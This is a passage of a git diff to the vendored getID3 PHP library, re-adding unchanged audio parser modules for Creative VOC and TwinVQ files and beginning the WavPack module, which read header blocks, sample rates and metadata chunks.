$ThisBlock['compression_type'] = getid3_lib::LittleEndian2Int(substr($BlockData, 5, 1)); - - $ThisBlock['compression_name'] = $this->VOCcompressionTypeLookup($ThisBlock['compression_type']); - if ($ThisBlock['compression_type'] <= 3) { - $thisfile_voc['compressed_bits_per_sample'] = getid3_lib::CastAsInt(str_replace('-bit', '', $ThisBlock['compression_name'])); - } - - // Less accurate sample_rate calculation than the Extended block (#8) data (but better than nothing if Extended Block is not available) - if (empty($thisfile_audio['sample_rate'])) { - // SR byte = 256 - (1000000 / sample_rate) - $thisfile_audio['sample_rate'] = getid3_lib::trunc((1000000 / (256 - $ThisBlock['sample_rate_id'])) / $thisfile_audio['channels']); - } - break; - - case 2: // Sound continue - case 3: // Silence - case 4: // Marker - case 6: // Repeat - case 7: // End repeat - // nothing useful, just skip - $this->fseek($BlockSize, SEEK_CUR); - break; - - case 8: // Extended - $BlockData .= $this->fread(4); - - //00-01 Time Constant: - // Mono: 65536 - (256000000 / sample_rate) - // Stereo: 65536 - (256000000 / (sample_rate * 2)) - $ThisBlock['time_constant'] = getid3_lib::LittleEndian2Int(substr($BlockData, 4, 2)); - $ThisBlock['pack_method'] = getid3_lib::LittleEndian2Int(substr($BlockData, 6, 1)); - $ThisBlock['stereo'] = (bool) getid3_lib::LittleEndian2Int(substr($BlockData, 7, 1)); - - $thisfile_audio['channels'] = ($ThisBlock['stereo'] ? 2 : 1); - $thisfile_audio['sample_rate'] = getid3_lib::trunc((256000000 / (65536 - $ThisBlock['time_constant'])) / $thisfile_audio['channels']); - break; - - case 9: // data block that supersedes blocks 1 and 8. Used for stereo, 16 bit - $BlockData .= $this->fread(12); - if ($info['avdataoffset'] <= $OriginalAVdataOffset) { - $info['avdataoffset'] = $this->ftell(); - } - $this->fseek($BlockSize - 12, SEEK_CUR); - - $ThisBlock['sample_rate'] = getid3_lib::LittleEndian2Int(substr($BlockData, 4, 4)); - $ThisBlock['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($BlockData, 8, 1)); - $ThisBlock['channels'] = getid3_lib::LittleEndian2Int(substr($BlockData, 9, 1)); - $ThisBlock['wFormat'] = getid3_lib::LittleEndian2Int(substr($BlockData, 10, 2)); - - $ThisBlock['compression_name'] = $this->VOCwFormatLookup($ThisBlock['wFormat']); - if ($this->VOCwFormatActualBitsPerSampleLookup($ThisBlock['wFormat'])) { - $thisfile_voc['compressed_bits_per_sample'] = $this->VOCwFormatActualBitsPerSampleLookup($ThisBlock['wFormat']); - } - - $thisfile_audio['sample_rate'] = $ThisBlock['sample_rate']; - $thisfile_audio['bits_per_sample'] = $ThisBlock['bits_per_sample']; - $thisfile_audio['channels'] = $ThisBlock['channels']; - break; - - default: - $this->warning('Unhandled block type "'.$BlockType.'" at offset '.$BlockOffset); - $this->fseek($BlockSize, SEEK_CUR); - break; - } - - if (!empty($ThisBlock)) { - $ThisBlock['block_offset'] = $BlockOffset; - $ThisBlock['block_size'] = $BlockSize; - $ThisBlock['block_type_id'] = $BlockType; - $thisfile_voc['blocks'][] = $ThisBlock; - } - - } while (!feof($this->getid3->fp) && ($BlockType != 0)); - - // Terminator block doesn't have size field, so seek back 3 spaces - $this->fseek(-3, SEEK_CUR); - - ksort($thisfile_voc['blocktypes']); - - if (!empty($thisfile_voc['compressed_bits_per_sample'])) { - $info['playtime_seconds'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / ($thisfile_voc['compressed_bits_per_sample'] * $thisfile_audio['channels'] * $thisfile_audio['sample_rate']); - $thisfile_audio['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - } - - return true; - } - - /** - * @param int $index - * - * @return string - */ - public function VOCcompressionTypeLookup($index) { - static $VOCcompressionTypeLookup = array( - 0 => '8-bit', - 1 => '4-bit', - 2 => '2.6-bit', - 3 => '2-bit' - ); - return (isset($VOCcompressionTypeLookup[$index]) ? $VOCcompressionTypeLookup[$index] : 'Multi DAC ('.($index - 3).') channels'); - } - - /** - * @param int $index - * - * @return string|false - */ - public function VOCwFormatLookup($index) { - static $VOCwFormatLookup = array( - 0x0000 => '8-bit unsigned PCM', - 0x0001 => 'Creative 8-bit to 4-bit ADPCM', - 0x0002 => 'Creative 8-bit to 3-bit ADPCM', - 0x0003 => 'Creative 8-bit to 2-bit ADPCM', - 0x0004 => '16-bit signed PCM', - 0x0006 => 'CCITT a-Law', - 0x0007 => 'CCITT u-Law', - 0x2000 => 'Creative 16-bit to 4-bit ADPCM' - ); - return (isset($VOCwFormatLookup[$index]) ? $VOCwFormatLookup[$index] : false); - } - - /** - * @param int $index - * - * @return int|false - */ - public function VOCwFormatActualBitsPerSampleLookup($index) { - static $VOCwFormatLookup = array( - 0x0000 => 8, - 0x0001 => 4, - 0x0002 => 3, - 0x0003 => 2, - 0x0004 => 16, - 0x0006 => 8, - 0x0007 => 8, - 0x2000 => 4 - ); - return (isset($VOCwFormatLookup[$index]) ? $VOCwFormatLookup[$index] : false); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.voc.php // +// module for analyzing Creative VOC Audio files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_voc extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $OriginalAVdataOffset = $info['avdataoffset']; + $this->fseek($info['avdataoffset']); + $VOCheader = $this->fread(26); + + $magic = 'Creative Voice File'; + if (substr($VOCheader, 0, 19) != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($VOCheader, 0, 19)).'"'); + return false; + } + + // shortcuts + $thisfile_audio = &$info['audio']; + $info['voc'] = array(); + $thisfile_voc = &$info['voc']; + + $info['fileformat'] = 'voc'; + $thisfile_audio['dataformat'] = 'voc'; + $thisfile_audio['bitrate_mode'] = 'cbr'; + $thisfile_audio['lossless'] = true; + $thisfile_audio['channels'] = 1; // might be overriden below + $thisfile_audio['bits_per_sample'] = 8; // might be overriden below + + // byte # Description + // ------ ------------------------------------------ + // 00-12 'Creative Voice File' + // 13 1A (eof to abort printing of file) + // 14-15 Offset of first datablock in .voc file (std 1A 00 in Intel Notation) + // 16-17 Version number (minor,major) (VOC-HDR puts 0A 01) + // 18-19 2's Comp of Ver. # + 1234h (VOC-HDR puts 29 11) + + $thisfile_voc['header']['datablock_offset'] = getid3_lib::LittleEndian2Int(substr($VOCheader, 20, 2)); + $thisfile_voc['header']['minor_version'] = getid3_lib::LittleEndian2Int(substr($VOCheader, 22, 1)); + $thisfile_voc['header']['major_version'] = getid3_lib::LittleEndian2Int(substr($VOCheader, 23, 1)); + + do { + + $BlockOffset = $this->ftell(); + $BlockData = $this->fread(4); + $BlockType = ord($BlockData[0]); + $BlockSize = getid3_lib::LittleEndian2Int(substr($BlockData, 1, 3)); + $ThisBlock = array(); + + getid3_lib::safe_inc($thisfile_voc['blocktypes'][$BlockType], 1); + switch ($BlockType) { + case 0: // Terminator + // do nothing, we'll break out of the loop down below + break; + + case 1: // Sound data + $BlockData .= $this->fread(2); + if ($info['avdataoffset'] <= $OriginalAVdataOffset) { + $info['avdataoffset'] = $this->ftell(); + } + $this->fseek($BlockSize - 2, SEEK_CUR); + + $ThisBlock['sample_rate_id'] = getid3_lib::LittleEndian2Int(substr($BlockData, 4, 1)); + $ThisBlock['compression_type'] = getid3_lib::LittleEndian2Int(substr($BlockData, 5, 1)); + + $ThisBlock['compression_name'] = $this->VOCcompressionTypeLookup($ThisBlock['compression_type']); + if ($ThisBlock['compression_type'] <= 3) { + $thisfile_voc['compressed_bits_per_sample'] = getid3_lib::CastAsInt(str_replace('-bit', '', $ThisBlock['compression_name'])); + } + + // Less accurate sample_rate calculation than the Extended block (#8) data (but better than nothing if Extended Block is not available) + if (empty($thisfile_audio['sample_rate'])) { + // SR byte = 256 - (1000000 / sample_rate) + $thisfile_audio['sample_rate'] = getid3_lib::trunc((1000000 / (256 - $ThisBlock['sample_rate_id'])) / $thisfile_audio['channels']); + } + break; + + case 2: // Sound continue + case 3: // Silence + case 4: // Marker + case 6: // Repeat + case 7: // End repeat + // nothing useful, just skip + $this->fseek($BlockSize, SEEK_CUR); + break; + + case 8: // Extended + $BlockData .= $this->fread(4); + + //00-01 Time Constant: + // Mono: 65536 - (256000000 / sample_rate) + // Stereo: 65536 - (256000000 / (sample_rate * 2)) + $ThisBlock['time_constant'] = getid3_lib::LittleEndian2Int(substr($BlockData, 4, 2)); + $ThisBlock['pack_method'] = getid3_lib::LittleEndian2Int(substr($BlockData, 6, 1)); + $ThisBlock['stereo'] = (bool) getid3_lib::LittleEndian2Int(substr($BlockData, 7, 1)); + + $thisfile_audio['channels'] = ($ThisBlock['stereo'] ? 2 : 1); + $thisfile_audio['sample_rate'] = getid3_lib::trunc((256000000 / (65536 - $ThisBlock['time_constant'])) / $thisfile_audio['channels']); + break; + + case 9: // data block that supersedes blocks 1 and 8. Used for stereo, 16 bit + $BlockData .= $this->fread(12); + if ($info['avdataoffset'] <= $OriginalAVdataOffset) { + $info['avdataoffset'] = $this->ftell(); + } + $this->fseek($BlockSize - 12, SEEK_CUR); + + $ThisBlock['sample_rate'] = getid3_lib::LittleEndian2Int(substr($BlockData, 4, 4)); + $ThisBlock['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($BlockData, 8, 1)); + $ThisBlock['channels'] = getid3_lib::LittleEndian2Int(substr($BlockData, 9, 1)); + $ThisBlock['wFormat'] = getid3_lib::LittleEndian2Int(substr($BlockData, 10, 2)); + + $ThisBlock['compression_name'] = $this->VOCwFormatLookup($ThisBlock['wFormat']); + if ($this->VOCwFormatActualBitsPerSampleLookup($ThisBlock['wFormat'])) { + $thisfile_voc['compressed_bits_per_sample'] = $this->VOCwFormatActualBitsPerSampleLookup($ThisBlock['wFormat']); + } + + $thisfile_audio['sample_rate'] = $ThisBlock['sample_rate']; + $thisfile_audio['bits_per_sample'] = $ThisBlock['bits_per_sample']; + $thisfile_audio['channels'] = $ThisBlock['channels']; + break; + + default: + $this->warning('Unhandled block type "'.$BlockType.'" at offset '.$BlockOffset); + $this->fseek($BlockSize, SEEK_CUR); + break; + } + + if (!empty($ThisBlock)) { + $ThisBlock['block_offset'] = $BlockOffset; + $ThisBlock['block_size'] = $BlockSize; + $ThisBlock['block_type_id'] = $BlockType; + $thisfile_voc['blocks'][] = $ThisBlock; + } + + } while (!feof($this->getid3->fp) && ($BlockType != 0)); + + // Terminator block doesn't have size field, so seek back 3 spaces + $this->fseek(-3, SEEK_CUR); + + ksort($thisfile_voc['blocktypes']); + + if (!empty($thisfile_voc['compressed_bits_per_sample'])) { + $info['playtime_seconds'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / ($thisfile_voc['compressed_bits_per_sample'] * $thisfile_audio['channels'] * $thisfile_audio['sample_rate']); + $thisfile_audio['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + } + + return true; + } + + /** + * @param int $index + * + * @return string + */ + public function VOCcompressionTypeLookup($index) { + static $VOCcompressionTypeLookup = array( + 0 => '8-bit', + 1 => '4-bit', + 2 => '2.6-bit', + 3 => '2-bit' + ); + return (isset($VOCcompressionTypeLookup[$index]) ? $VOCcompressionTypeLookup[$index] : 'Multi DAC ('.($index - 3).') channels'); + } + + /** + * @param int $index + * + * @return string|false + */ + public function VOCwFormatLookup($index) { + static $VOCwFormatLookup = array( + 0x0000 => '8-bit unsigned PCM', + 0x0001 => 'Creative 8-bit to 4-bit ADPCM', + 0x0002 => 'Creative 8-bit to 3-bit ADPCM', + 0x0003 => 'Creative 8-bit to 2-bit ADPCM', + 0x0004 => '16-bit signed PCM', + 0x0006 => 'CCITT a-Law', + 0x0007 => 'CCITT u-Law', + 0x2000 => 'Creative 16-bit to 4-bit ADPCM' + ); + return (isset($VOCwFormatLookup[$index]) ? $VOCwFormatLookup[$index] : false); + } + + /** + * @param int $index + * + * @return int|false + */ + public function VOCwFormatActualBitsPerSampleLookup($index) { + static $VOCwFormatLookup = array( + 0x0000 => 8, + 0x0001 => 4, + 0x0002 => 3, + 0x0003 => 2, + 0x0004 => 16, + 0x0006 => 8, + 0x0007 => 8, + 0x2000 => 4 + ); + return (isset($VOCwFormatLookup[$index]) ? $VOCwFormatLookup[$index] : false); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.vqf.php b/vendor/james-heinrich/getid3/getid3/module.audio.vqf.php index d035daeeff..55c7881dc9 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.vqf.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.vqf.php @@ -1,176 +1,176 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.vqf.php // -// module for analyzing VQF audio files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_vqf extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - // based loosely on code from TTwinVQ by Jurgen Faul - // http://jfaul.de/atl or http://j-faul.virtualave.net/atl/atl.html - - $info['fileformat'] = 'vqf'; - $info['audio']['dataformat'] = 'vqf'; - $info['audio']['bitrate_mode'] = 'cbr'; - $info['audio']['lossless'] = false; - - // shortcut - $info['vqf']['raw'] = array(); - $thisfile_vqf = &$info['vqf']; - $thisfile_vqf_raw = &$thisfile_vqf['raw']; - - $this->fseek($info['avdataoffset']); - $VQFheaderData = $this->fread(16); - - $offset = 0; - $thisfile_vqf_raw['header_tag'] = substr($VQFheaderData, $offset, 4); - $magic = 'TWIN'; - if ($thisfile_vqf_raw['header_tag'] != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($thisfile_vqf_raw['header_tag']).'"'); - unset($info['vqf']); - unset($info['fileformat']); - return false; - } - $offset += 4; - $thisfile_vqf_raw['version'] = substr($VQFheaderData, $offset, 8); - $offset += 8; - $thisfile_vqf_raw['size'] = getid3_lib::BigEndian2Int(substr($VQFheaderData, $offset, 4)); - $offset += 4; - - while ($this->ftell() < $info['avdataend']) { - - $ChunkBaseOffset = $this->ftell(); - $chunkoffset = 0; - $ChunkData = $this->fread(8); - $ChunkName = substr($ChunkData, $chunkoffset, 4); - if ($ChunkName == 'DATA') { - $info['avdataoffset'] = $ChunkBaseOffset; - break; - } - $chunkoffset += 4; - $ChunkSize = getid3_lib::BigEndian2Int(substr($ChunkData, $chunkoffset, 4)); - $chunkoffset += 4; - if ($ChunkSize > ($info['avdataend'] - $this->ftell())) { - $this->error('Invalid chunk size ('.$ChunkSize.') for chunk "'.$ChunkName.'" at offset '.$ChunkBaseOffset); - break; - } - if ($ChunkSize > 0) { - $ChunkData .= $this->fread($ChunkSize); - } - - switch ($ChunkName) { - case 'COMM': - // shortcut - $thisfile_vqf['COMM'] = array(); - $thisfile_vqf_COMM = &$thisfile_vqf['COMM']; - - $thisfile_vqf_COMM['channel_mode'] = getid3_lib::BigEndian2Int(substr($ChunkData, $chunkoffset, 4)); - $chunkoffset += 4; - $thisfile_vqf_COMM['bitrate'] = getid3_lib::BigEndian2Int(substr($ChunkData, $chunkoffset, 4)); - $chunkoffset += 4; - $thisfile_vqf_COMM['sample_rate'] = getid3_lib::BigEndian2Int(substr($ChunkData, $chunkoffset, 4)); - $chunkoffset += 4; - $thisfile_vqf_COMM['security_level'] = getid3_lib::BigEndian2Int(substr($ChunkData, $chunkoffset, 4)); - $chunkoffset += 4; - - $info['audio']['channels'] = $thisfile_vqf_COMM['channel_mode'] + 1; - $info['audio']['sample_rate'] = $this->VQFchannelFrequencyLookup($thisfile_vqf_COMM['sample_rate']); - $info['audio']['bitrate'] = $thisfile_vqf_COMM['bitrate'] * 1000; - $info['audio']['encoder_options'] = 'CBR' . ceil($info['audio']['bitrate']/1000); - - if ($info['audio']['bitrate'] == 0) { - $this->error('Corrupt VQF file: bitrate_audio == zero'); - return false; - } - break; - - case 'NAME': - case 'AUTH': - case '(c) ': - case 'FILE': - case 'COMT': - case 'ALBM': - $thisfile_vqf['comments'][$this->VQFcommentNiceNameLookup($ChunkName)][] = trim(substr($ChunkData, 8)); - break; - - case 'DSIZ': - $thisfile_vqf['DSIZ'] = getid3_lib::BigEndian2Int(substr($ChunkData, 8, 4)); - break; - - default: - $this->warning('Unhandled chunk type "'.$ChunkName.'" at offset '.$ChunkBaseOffset); - break; - } - } - - $info['playtime_seconds'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']; - - if (isset($thisfile_vqf['DSIZ']) && (($thisfile_vqf['DSIZ'] != ($info['avdataend'] - $info['avdataoffset'] - strlen('DATA'))))) { - switch ($thisfile_vqf['DSIZ']) { - case 0: - case 1: - $this->warning('Invalid DSIZ value "'.$thisfile_vqf['DSIZ'].'". This is known to happen with VQF files encoded by Ahead Nero, and seems to be its way of saying this is TwinVQF v'.($thisfile_vqf['DSIZ'] + 1).'.0'); - $info['audio']['encoder'] = 'Ahead Nero'; - break; - - default: - $this->warning('Probable corrupted file - should be '.$thisfile_vqf['DSIZ'].' bytes, actually '.($info['avdataend'] - $info['avdataoffset'] - strlen('DATA'))); - break; - } - } - - return true; - } - - /** - * @param int $frequencyid - * - * @return int - */ - public function VQFchannelFrequencyLookup($frequencyid) { - static $VQFchannelFrequencyLookup = array( - 11 => 11025, - 22 => 22050, - 44 => 44100 - ); - return (isset($VQFchannelFrequencyLookup[$frequencyid]) ? $VQFchannelFrequencyLookup[$frequencyid] : $frequencyid * 1000); - } - - /** - * @param string $shortname - * - * @return string - */ - public function VQFcommentNiceNameLookup($shortname) { - static $VQFcommentNiceNameLookup = array( - 'NAME' => 'title', - 'AUTH' => 'artist', - '(c) ' => 'copyright', - 'FILE' => 'filename', - 'COMT' => 'comment', - 'ALBM' => 'album' - ); - return (isset($VQFcommentNiceNameLookup[$shortname]) ? $VQFcommentNiceNameLookup[$shortname] : $shortname); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.vqf.php // +// module for analyzing VQF audio files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_vqf extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + // based loosely on code from TTwinVQ by Jurgen Faul + // http://jfaul.de/atl or http://j-faul.virtualave.net/atl/atl.html + + $info['fileformat'] = 'vqf'; + $info['audio']['dataformat'] = 'vqf'; + $info['audio']['bitrate_mode'] = 'cbr'; + $info['audio']['lossless'] = false; + + // shortcut + $info['vqf']['raw'] = array(); + $thisfile_vqf = &$info['vqf']; + $thisfile_vqf_raw = &$thisfile_vqf['raw']; + + $this->fseek($info['avdataoffset']); + $VQFheaderData = $this->fread(16); + + $offset = 0; + $thisfile_vqf_raw['header_tag'] = substr($VQFheaderData, $offset, 4); + $magic = 'TWIN'; + if ($thisfile_vqf_raw['header_tag'] != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($thisfile_vqf_raw['header_tag']).'"'); + unset($info['vqf']); + unset($info['fileformat']); + return false; + } + $offset += 4; + $thisfile_vqf_raw['version'] = substr($VQFheaderData, $offset, 8); + $offset += 8; + $thisfile_vqf_raw['size'] = getid3_lib::BigEndian2Int(substr($VQFheaderData, $offset, 4)); + $offset += 4; + + while ($this->ftell() < $info['avdataend']) { + + $ChunkBaseOffset = $this->ftell(); + $chunkoffset = 0; + $ChunkData = $this->fread(8); + $ChunkName = substr($ChunkData, $chunkoffset, 4); + if ($ChunkName == 'DATA') { + $info['avdataoffset'] = $ChunkBaseOffset; + break; + } + $chunkoffset += 4; + $ChunkSize = getid3_lib::BigEndian2Int(substr($ChunkData, $chunkoffset, 4)); + $chunkoffset += 4; + if ($ChunkSize > ($info['avdataend'] - $this->ftell())) { + $this->error('Invalid chunk size ('.$ChunkSize.') for chunk "'.$ChunkName.'" at offset '.$ChunkBaseOffset); + break; + } + if ($ChunkSize > 0) { + $ChunkData .= $this->fread($ChunkSize); + } + + switch ($ChunkName) { + case 'COMM': + // shortcut + $thisfile_vqf['COMM'] = array(); + $thisfile_vqf_COMM = &$thisfile_vqf['COMM']; + + $thisfile_vqf_COMM['channel_mode'] = getid3_lib::BigEndian2Int(substr($ChunkData, $chunkoffset, 4)); + $chunkoffset += 4; + $thisfile_vqf_COMM['bitrate'] = getid3_lib::BigEndian2Int(substr($ChunkData, $chunkoffset, 4)); + $chunkoffset += 4; + $thisfile_vqf_COMM['sample_rate'] = getid3_lib::BigEndian2Int(substr($ChunkData, $chunkoffset, 4)); + $chunkoffset += 4; + $thisfile_vqf_COMM['security_level'] = getid3_lib::BigEndian2Int(substr($ChunkData, $chunkoffset, 4)); + $chunkoffset += 4; + + $info['audio']['channels'] = $thisfile_vqf_COMM['channel_mode'] + 1; + $info['audio']['sample_rate'] = $this->VQFchannelFrequencyLookup($thisfile_vqf_COMM['sample_rate']); + $info['audio']['bitrate'] = $thisfile_vqf_COMM['bitrate'] * 1000; + $info['audio']['encoder_options'] = 'CBR' . ceil($info['audio']['bitrate']/1000); + + if ($info['audio']['bitrate'] == 0) { + $this->error('Corrupt VQF file: bitrate_audio == zero'); + return false; + } + break; + + case 'NAME': + case 'AUTH': + case '(c) ': + case 'FILE': + case 'COMT': + case 'ALBM': + $thisfile_vqf['comments'][$this->VQFcommentNiceNameLookup($ChunkName)][] = trim(substr($ChunkData, 8)); + break; + + case 'DSIZ': + $thisfile_vqf['DSIZ'] = getid3_lib::BigEndian2Int(substr($ChunkData, 8, 4)); + break; + + default: + $this->warning('Unhandled chunk type "'.$ChunkName.'" at offset '.$ChunkBaseOffset); + break; + } + } + + $info['playtime_seconds'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']; + + if (isset($thisfile_vqf['DSIZ']) && (($thisfile_vqf['DSIZ'] != ($info['avdataend'] - $info['avdataoffset'] - strlen('DATA'))))) { + switch ($thisfile_vqf['DSIZ']) { + case 0: + case 1: + $this->warning('Invalid DSIZ value "'.$thisfile_vqf['DSIZ'].'". This is known to happen with VQF files encoded by Ahead Nero, and seems to be its way of saying this is TwinVQF v'.($thisfile_vqf['DSIZ'] + 1).'.0'); + $info['audio']['encoder'] = 'Ahead Nero'; + break; + + default: + $this->warning('Probable corrupted file - should be '.$thisfile_vqf['DSIZ'].' bytes, actually '.($info['avdataend'] - $info['avdataoffset'] - strlen('DATA'))); + break; + } + } + + return true; + } + + /** + * @param int $frequencyid + * + * @return int + */ + public function VQFchannelFrequencyLookup($frequencyid) { + static $VQFchannelFrequencyLookup = array( + 11 => 11025, + 22 => 22050, + 44 => 44100 + ); + return (isset($VQFchannelFrequencyLookup[$frequencyid]) ? $VQFchannelFrequencyLookup[$frequencyid] : $frequencyid * 1000); + } + + /** + * @param string $shortname + * + * @return string + */ + public function VQFcommentNiceNameLookup($shortname) { + static $VQFcommentNiceNameLookup = array( + 'NAME' => 'title', + 'AUTH' => 'artist', + '(c) ' => 'copyright', + 'FILE' => 'filename', + 'COMT' => 'comment', + 'ALBM' => 'album' + ); + return (isset($VQFcommentNiceNameLookup[$shortname]) ? $VQFcommentNiceNameLookup[$shortname] : $shortname); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.wavpack.php b/vendor/james-heinrich/getid3/getid3/module.audio.wavpack.php index 86861bf4b8..dfeb85d435 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.wavpack.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.wavpack.php @@ -1,424 +1,424 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.wavpack.php // -// module for analyzing WavPack v4.0+ Audio files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -class getid3_wavpack extends getid3_handler -{ - /** - * Avoid scanning all frames (break after finding ID_RIFF_HEADER and ID_CONFIG_BLOCK, - * significantly faster for very large files but other data may be missed - * - * @var bool - */ - public $quick_parsing = false; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - - $found_blocks = array(); - while (true) { - - $wavpackheader = $this->fread(32); - - if ($this->ftell() >= $info['avdataend']) { - break; - } elseif (feof($this->getid3->fp)) { - break; - } elseif ( - isset($info['wavpack']['blockheader']['total_samples']) && - isset($info['wavpack']['blockheader']['block_samples']) && - ($info['wavpack']['blockheader']['total_samples'] > 0) && - ($info['wavpack']['blockheader']['block_samples'] > 0) && - (!isset($info['wavpack']['riff_trailer_size']) || ($info['wavpack']['riff_trailer_size'] <= 0)) && - ((isset($info['wavpack']['config_flags']['md5_checksum']) && ($info['wavpack']['config_flags']['md5_checksum'] === false)) || !empty($info['md5_data_source']))) { - break; - } - - $blockheader_offset = $this->ftell() - 32; - $blockheader_magic = substr($wavpackheader, 0, 4); - $blockheader_size = getid3_lib::LittleEndian2Int(substr($wavpackheader, 4, 4)); - - $magic = 'wvpk'; - if ($blockheader_magic != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$blockheader_offset.', found "'.getid3_lib::PrintHexBytes($blockheader_magic).'"'); - switch (isset($info['audio']['dataformat']) ? $info['audio']['dataformat'] : '') { - case 'wavpack': - case 'wvc': - break; - default: - unset($info['fileformat']); - unset($info['audio']); - unset($info['wavpack']); - break; - } - return false; - } - - if (empty($info['wavpack']['blockheader']['block_samples']) || - empty($info['wavpack']['blockheader']['total_samples']) || - ($info['wavpack']['blockheader']['block_samples'] <= 0) || - ($info['wavpack']['blockheader']['total_samples'] <= 0)) { - // Also, it is possible that the first block might not have - // any samples (block_samples == 0) and in this case you should skip blocks - // until you find one with samples because the other information (like - // total_samples) are not guaranteed to be correct until (block_samples > 0) - - // Finally, I have defined a format for files in which the length is not known - // (for example when raw files are created using pipes). In these cases - // total_samples will be -1 and you must seek to the final block to determine - // the total number of samples. - - - $info['audio']['dataformat'] = 'wavpack'; - $info['fileformat'] = 'wavpack'; - $info['audio']['lossless'] = true; - $info['audio']['bitrate_mode'] = 'vbr'; - - $info['wavpack']['blockheader']['offset'] = $blockheader_offset; - $info['wavpack']['blockheader']['magic'] = $blockheader_magic; - $info['wavpack']['blockheader']['size'] = $blockheader_size; - - if ($info['wavpack']['blockheader']['size'] >= 0x100000) { - $this->error('Expecting WavPack block size less than "0x100000", found "'.$info['wavpack']['blockheader']['size'].'" at offset '.$info['wavpack']['blockheader']['offset']); - switch (isset($info['audio']['dataformat']) ? $info['audio']['dataformat'] : '') { - case 'wavpack': - case 'wvc': - break; - default: - unset($info['fileformat']); - unset($info['audio']); - unset($info['wavpack']); - break; - } - return false; - } - - $info['wavpack']['blockheader']['minor_version'] = ord($wavpackheader[8]); - $info['wavpack']['blockheader']['major_version'] = ord($wavpackheader[9]); - - if (($info['wavpack']['blockheader']['major_version'] != 4) || - (($info['wavpack']['blockheader']['minor_version'] < 4) && - ($info['wavpack']['blockheader']['minor_version'] > 16))) { - $this->error('Expecting WavPack version between "4.2" and "4.16", found version "'.$info['wavpack']['blockheader']['major_version'].'.'.$info['wavpack']['blockheader']['minor_version'].'" at offset '.$info['wavpack']['blockheader']['offset']); - switch (isset($info['audio']['dataformat']) ? $info['audio']['dataformat'] : '') { - case 'wavpack': - case 'wvc': - break; - default: - unset($info['fileformat']); - unset($info['audio']); - unset($info['wavpack']); - break; - } - return false; - } - - $info['wavpack']['blockheader']['track_number'] = ord($wavpackheader[10]); // unused - $info['wavpack']['blockheader']['index_number'] = ord($wavpackheader[11]); // unused - $info['wavpack']['blockheader']['total_samples'] = getid3_lib::LittleEndian2Int(substr($wavpackheader, 12, 4)); - $info['wavpack']['blockheader']['block_index'] = getid3_lib::LittleEndian2Int(substr($wavpackheader, 16, 4)); - $info['wavpack']['blockheader']['block_samples'] = getid3_lib::LittleEndian2Int(substr($wavpackheader, 20, 4)); - $info['wavpack']['blockheader']['flags_raw'] = getid3_lib::LittleEndian2Int(substr($wavpackheader, 24, 4)); - $info['wavpack']['blockheader']['crc'] = getid3_lib::LittleEndian2Int(substr($wavpackheader, 28, 4)); - - $info['wavpack']['blockheader']['flags']['bytes_per_sample'] = 1 + ($info['wavpack']['blockheader']['flags_raw'] & 0x00000003); - $info['wavpack']['blockheader']['flags']['mono'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000004); - $info['wavpack']['blockheader']['flags']['hybrid'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000008); - $info['wavpack']['blockheader']['flags']['joint_stereo'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000010); - $info['wavpack']['blockheader']['flags']['cross_decorrelation'] = (bool) ($info['wavpack']['blockheader']['flags_raw'] & 0x00000020); - 